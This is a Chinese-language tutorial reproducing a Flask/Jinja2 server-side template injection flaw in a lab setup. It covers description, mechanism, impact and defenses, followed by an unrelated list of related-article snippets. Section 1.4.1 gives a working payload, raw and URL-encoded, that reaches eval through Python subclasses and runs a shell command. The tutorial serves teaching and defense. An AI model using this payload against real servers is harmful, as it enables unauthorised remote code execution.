Flask (Jinja2) 服务端模板注入漏洞复现

news2025/7/9 0:44:11

文章目录

  • Flask (Jinja2) 服务端模板注入漏洞
    • 1.1 漏洞描述
    • 1.2 漏洞原理
    • 1.3 漏洞危害
    • 1.4 漏洞复现
      • 1.4.1 漏洞利用
    • 1.5 漏洞防御

Flask (Jinja2) 服务端模板注入漏洞

1.1 漏洞描述

说明内容
漏洞编号
漏洞名称Flask (Jinja2) 服务端模板注入漏洞
漏洞评级高危
影响版本使用Flask框架开发并且使用Jinja2模板引擎,最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。
漏洞描述Flask 是一个流行的 Python Web 框架,而 Jinja2 是其默认的模板引擎。服务端模板注入漏洞发生在应用程序使用模板引擎渲染用户提供的数据时,未能正确过滤或转义用户输入,导致攻击者可以注入自己的模板代码,从而执行恶意操作。
修复方案打补丁,上设备,升级组件

1.2 漏洞原理

在模板引擎中,开发者可以使用特定的语法将数据与模板结合生成最终的输出。然而,如果在这个过程中,直接使用用户提供的数据而没有进行适当的过滤或转义,攻击者就可以注入恶意模板代码。

攻击者可以构造恶意的输入,在用户输入中包含模板标记(如 {{}}),以控制模板引擎的行为。模板引擎会将用户提供的数据作为代码来执行,导致恶意代码执行在服务端上下文中。

1.3 漏洞危害

服务端模板注入漏洞可能导致以下危害:

  1. 执行任意服务器端代码:攻击者可以在服务器上执行任意的代码,包括读写敏感文件、访问数据库、远程命令执行等操作。
  2. 盗取敏感信息:攻击者可以通过读取服务器端数据,包括数据库中存储的敏感信息(如用户凭据、个人信息等)。
  3. 服务器端拒绝服务(DoS):攻击者可以构造恶意输入,导致服务器资源耗尽或崩溃,从而使服务不可用。

1.4 漏洞复现

环境启动

image-20230923102617432

访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。

image-20230923102748954

1.4.1 漏洞利用

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
     {% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {undefined{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

放在url中需要编码,编码后的结果

{%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}{%%20if%20b.__class__%20==%20{}.__class__%20%}{%%20if%20%27eval%27%20in%20b.keys()%20%}{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}{%%20endif%20%}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}

然后我们执行,发现命令执行成功。

image-20230923103358474

1.5 漏洞防御

漏洞防御: 以下是一些防御措施来预防 Flask(Jinja2)服务端模板注入漏洞:

  1. 输入验证与过滤:应该对用户提供的输入进行验证,并确保它符合预期的格式和类型。同时,在将用户输入传递给模板引擎之前,必须进行适当的过滤和转义处理。
  2. 不信任用户输入:永远不要相信用户提供的输入数据,即使是在内部使用也要进行验证和转义处理。
  3. 使用安全的模板引擎配置:使用模板引擎时,应该仔细配置其安全选项,以限制模板中可执行的操作和访问的对象。
  4. 最小权限原则:为应用程序和服务器分配最低权限,以降低攻击者成功利用漏洞的可能性。
  5. 定期更新框架和库:及时更新 Flask 和 Jinja2 等相关库,以获取最新的安全修复和补丁。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1094098.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【剑指Offer】27.二叉树的镜像

题目 操作给定的二叉树,将其变换为源二叉树的镜像。 数据范围:二叉树的节点数 0≤n≤1000 , 二叉树每个节点的值 0≤val≤1000 要求: 空间复杂度 O(n) 。本题也有原地操作,即空间复杂度O(1) 的解法,时间…

Servlet--Request请求对象

1.请求对象的概述 请求:获取资源。在BS架构中,就是客户端浏览器向服务器端发出询问 请求对象:就是在项目当中用于发送请求的对象 2.获取各种路径的方法 返回值方法名说明StringgetContextPath()获取虚拟目录名称StringgetServletPath()获…

C++前缀和算法:构造乘积矩阵

题目 给你一个下标从 0 开始、大小为 n * m 的二维整数矩阵 grid ,定义一个下标从 0 开始、大小为 n * m 的的二维矩阵 p。如果满足以下条件,则称 p 为 grid 的 乘积矩阵 : 对于每个元素 p[i][j] ,它的值等于除了 grid[i][j] 外所…

Django使用Token认证(simplejwt库的配置)

目录 官网文档安装项目配置拓展配置 官网文档 https://django-rest-framework-simplejwt.readthedocs.io/en/latest/ 安装 pip install djangorestframework-simplejwt项目配置 REST_FRAMEWORK {...DEFAULT_AUTHENTICATION_CLASSES: (...rest_framework_simplejwt.authent…

【斗破年番】彩鳞换装美翻,雁落天惨死,萧炎暗杀慕兰三老遇险,彩鳞霸气护夫

Hello,小伙伴们,我是小郑继续为大家深度解析斗破苍穹年番资讯。 斗破苍穹动画已经更新了,小医仙与萧炎相认,三国联军撤退,随后彩鳞与萧炎以及小医仙夜晚相会,一起制定了刺杀行动。从官方公布的第68集预告,彩…

ST‐LINK V2 使用说明(安装,调试,烧录)

目录 1. 初识 ST-LINK V2 1.1 ST-LINK V2 简介 2. ST-LINK V2 驱动的安装与固件升级 2.1 驱动的安装 2.2 固件的升级 3. 使用 STM32 ST-LINK Utility 烧写目标板 hex 3.1 ST-LINK 烧写 hex 文件 4.使用 ST-LINK V2 调试 STM8 4.1 ST‐LINK 调试 STM8 5.…

【GA-ACO-RFR预测】基于混合遗传算法-蚁群算法优化随机森林回归预测研究(Matlab代码实现)

💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…

时序分解 | Matlab实现EEMD集合经验模态分解时间序列信号分解

时序分解 | Matlab实现EEMD集合经验模态分解时间序列信号分解 目录 时序分解 | Matlab实现EEMD集合经验模态分解时间序列信号分解效果一览基本介绍程序设计参考资料 效果一览 基本介绍 Matlab实现EEMD集合经验模态分解时间序列信号分解 1.分解效果图 ,效果如图所示&…

4.1 继承性

知识回顾 (1)类和对象的理解? 对象是现实世界中的一个实体,如一个人、一辆汽车。一个对象一般具有两方面的特征,状态和行为。状态用来描述对象的静态特征,行为用来描述对象的动态特征。 类是具有相似特征…

前端TypeScript学习day04-交叉类型与泛型

(创作不易,感谢有你,你的支持,就是我前行的最大动力,如果看完对你有帮助,请留下您的足迹) 目录 交叉类型 泛型 创建泛型函数 调用泛型函数: 简化调用泛型函数: 泛型约束 指定…

为什么在华为DSTE战略管理中,需要三次战略解码?

添加图片注释,不超过 140 字(可选) 【导语:在战略管理课程中,不少同学对“战略解码”这个术语有诸多疑惑。谢宁老师认为如果同学们详细阅读谢宁专著《华为战略管理法:DSTE实战体系》关于“三次战略解码”的…

动态规划:918. 环形子数组的最大和

个人主页 : 个人主页 个人专栏 : 《数据结构》 《C语言》《C》《算法》 文章目录 前言一、题目解析二、解题思路解题思路状态表示状态转移方程初始化填表顺序返回值 三、代码实现总结 前言 本篇文章仅是作为小白的我的一些理解,,…

蓝桥杯双周赛算法心得——数树数(dfs)

大家好,我是晴天学长,一个简单的dfs思想,需要的小伙伴可以关注支持一下哦!后续会继续更新的。 1) .数树数 2) .算法思路 代码的主要逻辑是: 1.使用Scanner读取输入的整数n和q,其中n表示测试用例的数量&am…

Linux友人帐之调试器--gdb的使用

一、debug和realease版本的区别 区别 debug是给程序员用的版本,添加了调试信息,用于解决软件或程序中出现的问题,realease是发行给客户使用的版本,并未添加调试信息,只需要给客户提供优越的产品使用环境即可&#xff…

Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞

文章目录 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)1.1 漏洞描述1.2 漏洞复现1.2.1 环境启动1.2.2 漏洞验证1.2.3 漏洞利用 1.3 加固建议 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) 1.1 漏洞描述…

53 打家劫舍

打家劫舍 题解1 DP1题解2 DP2 !经典DP! 你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果 两间相邻的房屋在同一晚上被小偷闯入…

二分图博弈

一张二分图,Alice和Bob每人走一步,不能重复走,谁不能走谁输 结论:若存在最大匹配不包含初始点,则Bob赢,否则Alice赢 以上图为例,红色为最大匹配。 首先对于Alice第一步只能走黑边。而Alice无论…

黑马JVM总结(三十四)

(1)JMM概述 (2)JMM-原子性-synchronized java内存模型是如何保证原子性的呢,它是通过synchroized关键字,来达到这个目的的 第一个线程来了进入同步代码块之后,把这个对象加上锁了,…

YOLOv5算法改进(19)— Neck网络介绍(AFPN和BiFPN)

前言:Hello大家好,我是小哥谈。Neck网络是目标检测中的一个重要组成部分,主要用于对检测器提取的特征进行进一步处理和融合,以提高检测精度。通常,Neck网络由一系列卷积层、池化层、上采样层等组成,可以将不同层次的特征进行融合,同时也可以对特征进行降维和升维操作。本…

AtCoder ABC324 B~E赛后补题

赛时没有写出E,早上补完E B - 3-smooth Numbers B - 3-smooth Numbers (atcoder.jp) 题面 题面翻译与思路 判断某个数是否能表示为 2 x 3 y 2^x3^y 2x3y 当n%20或者n%30时,相应地,将这个数不断地除2或者3,判断最后n是否为1 (…